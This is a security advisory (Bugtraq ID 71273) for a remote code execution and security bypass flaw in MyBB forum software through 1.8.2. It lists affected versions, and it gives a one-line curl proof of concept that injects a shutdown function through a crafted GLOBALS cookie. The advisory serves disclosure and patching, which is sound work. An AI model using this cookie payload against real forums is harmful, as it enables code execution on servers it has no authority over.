MyBB Remote Code Execution and Security Bypass Vulnerabilities

BID:71273

Info

MyBB Remote Code Execution and Security Bypass Vulnerabilities

Bugtraq ID: 71273
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Mar 06 2014 12:00AM
Updated: Mar 06 2014 12:00AM
Credit: Taoguang Chen
Vulnerable: MyBB MyBB 1.8.2
MyBB MyBB 1.8.1
MyBB MyBB 1.6.14
MyBB MyBB 1.6.13
MyBB MyBB 1.6.11
MyBB MyBB 1.6.10
MyBB MyBB 1.6.9
MyBB MyBB 1.6.8
MyBB MyBB 1.6.7
MyBB MyBB 1.6.6
MyBB MyBB 1.6.5
MyBB MyBB 1.6.4
MyBB MyBB 1.6.3
MyBB MyBB 1.6.2
MyBB MyBB 1.6.1
MyBB MyBB 1.4.16
MyBB MyBB 1.4.15
MyBB MyBB 1.4.14
MyBB MyBB 1.4.10
MyBB MyBB 1.4.9
MyBB MyBB 1.4.8
MyBB MyBB 1.4.7
MyBB MyBB 1.4.6
MyBB MyBB 1.4.5
MyBB MyBB 1.4.3
MyBB MyBB 1.4.2
MyBB MyBB 1.2.14
MyBB MyBB 1.2.12
MyBB MyBB 1.2.2
MyBB MyBB 1.2.1
MyBB MyBB 1.2
MyBB MyBB 1.1.3
MyBB MyBB 1.1
MyBB MyBB 1.6.12
MyBB MyBB 1.6.0
MyBB MyBB 1.6
MyBB MyBB 1.5.2
MyBB MyBB 1.5.1
MyBB MyBB 1.4.4
MyBB MyBB 1.4.13
MyBB MyBB 1.4.12
MyBB MyBB 1.4.11
MyBB MyBB 1.4.1
MyBB MyBB 1.4.0
MyBB MyBB 1.3 Pre-1.0
MyBB MyBB 1.2.9
MyBB MyBB 1.2.8
MyBB MyBB 1.2.7
MyBB MyBB 1.2.6
MyBB MyBB 1.2.5
MyBB MyBB 1.2.4
MyBB MyBB 1.2.3
MyBB MyBB 1.2.13
MyBB MyBB 1.2.11
MyBB MyBB 1.2.10
MyBB MyBB 1.1.8
MyBB MyBB 1.1.7
MyBB MyBB 1.1.6
MyBB MyBB 1.1.5
MyBB MyBB 1.1.4
MyBB MyBB 1.1.2
MyBB MyBB 1.1.1
MyBB MyBB 1.04
MyBB MyBB 1.03
MyBB MyBB 1.02
MyBB MyBB 1.01
MyBB MyBB 1.00
MyBB MyBB 1.0 Rc4
MyBB MyBB 1.0 RC3
MyBB MyBB 1.0 Rc2
MyBB MyBB 1.0 Rc1
MyBB MyBB 1.0 Pr2
MyBB MyBB 1.0 Pr1
MyBB MyBB 1.0 Beta4
Not Vulnerable: MyBB MyBB 1.8.3
MyBB MyBB 1.6.16

Discussion

MyBB Remote Code Execution and Security Bypass Vulnerabilities

MyBB is prone to a remote code-execution vulnerability and a security-bypass vulnerability.

An attacker can exploit these issues to execute arbitrary code in the context of affected application and to bypass security restrictions and perform unauthorized actions.

MyBB 1.8.2 and prior are vulnerable.

Exploit / POC

MyBB Remote Code Execution and Security Bypass Vulnerabilities

The following example data is available:

curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://www.example.com/

Solution / Fix

MyBB Remote Code Execution and Security Bypass Vulnerabilities

Solution:
Updates are available. Please see the references or vendor advisory for more information.

References

MyBB Remote Code Execution and Security Bypass Vulnerabilities

References:

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